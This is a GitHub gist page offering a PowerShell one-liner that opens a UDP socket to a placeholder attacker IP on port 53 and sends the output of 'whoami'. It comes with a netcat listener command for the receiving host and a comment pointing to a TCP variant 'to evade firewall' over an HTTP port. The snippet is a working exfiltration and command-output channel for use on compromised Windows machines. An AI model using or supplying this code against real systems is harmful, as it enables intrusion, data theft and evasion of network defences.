Created
July 11, 2020 19:51
-
-
Save ignis-sec/7a6121e4e75e34aa54cd1b2272a59683 to your computer and use it in GitHub Desktop.
powershell command to return executed command output from 53/udp.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# On your host: | |
# $ nc -lnvup 53 | |
# Replace <HOSTIP> with ip of the listening machine | |
powershell -nop -c "$s=New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Dgram,[System.Net.Sockets.ProtocolType]::UDP);$s.Connect((New-Object System.Net.IPEndPoint([system.net.IPAddress]::Parse(\"<HOSTIP>\"),53)));$s.send(([System.Text.Encoding]::ASCII).GetBytes((whoami)));" | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
TCP version if you need to evade firewall with a connection on HTTP port: